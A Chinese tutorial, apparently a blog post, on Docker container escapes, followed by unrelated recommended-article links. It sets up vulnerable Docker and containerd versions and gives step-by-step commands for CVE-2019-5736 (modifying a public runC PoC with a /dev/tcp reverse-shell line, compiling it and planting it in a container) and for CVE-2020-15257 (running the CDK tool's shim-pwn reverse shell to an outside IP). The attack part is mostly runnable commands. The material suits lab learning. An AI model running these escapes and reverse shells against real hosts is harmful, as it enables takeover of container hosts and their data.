云原生-Docker安全-容器逃逸&系统内核漏洞(解决docker.com无法访问)

云原生-Docker安全-容器逃逸&系统内核漏洞

细节部分在权限提升章节会详解,常用:

CVE-2016-5195 CVE-2019-16884 CVE-2021-3493

CVE-2021-22555 CVE-2022-0492 CVE-2022-0847 CVE-2022-23222

云原生-Docker安全-容器逃逸&docker版本漏洞

CVE-2019-5736 runC容器逃逸(需要管理员配合触发)

影响版本:

Docker version <= 18.09.2

RunC version <= 1.0-rc6

1、安装docker对应版本

apt-get update

apt-get install -y apt-transport-https ca-certificates curl software-properties-common

curl -fsSL https://mirrors.tencentyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -

sudo add-apt-repository "deb [arch=amd64] https://mirrors.tencentyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"

apt-get update

apt-cache madison docker-ce

apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

docker --version

2、启动靶场环境测试

docker run -itd --cap-add=SYS_ADMIN ubuntu:latest

docker ps
docker exec -it 1f1532ed764b /bin/bash
ls -la /

3、编译修改后EXP后等待管理员进入容器执行

GitHub - Frichetten/CVE-2019-5736-PoC: PoC for CVE-2019-5736PoC for CVE-2019-5736. Contribute to Frichetten/CVE-2019-5736-PoC development by creating an account on GitHub.https://github.com/Frichetten/CVE-2019-5736-PoC

bash -c 'exec bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'

修改完毕后,要把这个main.go编译成main文件

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

docker cp main c58ad026dad2:/

chmod 777 main

等待

管理员进入

docker exec -it 1f1532ed764b /bin/bash

上线成功了

4、实验获取云服务器上docker搭建的Web权限后进行逃逸

docker run -it -p 8888:8080 vulhub/struts2:s2-053

环境安装失败

CVE-2020-15257 containerd逃逸(启动容器时有前提参数)

影响版本:

containerd < 1.4.3

containerd < 1.3.9

1、安装docker对应版本

apt-get update

安装必要依赖

apt-get install apt-transport-https ca-certificates curl software-properties-common

配置阿里源加速

curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -

增加仓库

add-apt-repository "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"

更新缓存

apt-get update

apt-cache madison docker-ce

apt-get install -y docker-ce=5:19.03.7~3-0~ubuntu-xenial docker-ce-cli=5:19.03.7~3-0~ubuntu-xenial containerd.io=1.2.4-1

docker version

2、启动环境测试:

docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash //--net=host是前提条件,不加这个参数启动的docker没有这个漏洞
docker exec -it 0e3f3d63e5da /bin/bash

3、上传CDK工具自动逃逸反弹

docker cp cdk_linux_amd64 0e3f3d63e5da:/tmp

chmod 777 cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn reverse 111.230.109.74 5566 //这是指定漏洞利用
./cdk_linux_amd64 auto-escape id //自动化漏洞扫描

相关推荐
狼与自由17 分钟前
K8S的架构
容器·架构·kubernetes
xin_yao_xin44 分钟前
Windows 下 Docker Desktop 安装教程及常用命令(2026 最新)
运维·docker·容器
云安全助手1 小时前
OpenClaw失控风暴:Meta两小时Sev1级事故,AI智能体集体黑化敲响全球安全警钟
人工智能·安全
昨夜见军贴06161 小时前
AI审核守护生命设备安全:IACheck成为呼吸机消毒效果检测报告的智能审核专家
大数据·人工智能·安全
rrrjqy2 小时前
用 Docker 部署远程 MySQL:从端口踩坑到权限全开(附避坑指南)
mysql·adb·docker
const_qiu2 小时前
微服务测试策略:端到端质量保障
微服务·云原生·架构
MicrosoftReactor2 小时前
技术速递|底层机制:GitHub Agentic Workflows 的安全架构
安全·ai·github·agent·安全架构
昨夜见军贴06162 小时前
AI审核守护透析安全:IACheck助力透析微生物检测报告精准合规
大数据·人工智能·安全
kongba0072 小时前
OpenClaw v2026.3.23 安全配置复盘:从多处明文到集中受控存储《OpenClaw 安全部署 SOP(v2026.3.23)V2》
服务器·网络·安全
普通网友3 小时前
《K8s 滚动更新与回滚:详细教程》
docker·容器·kubernetes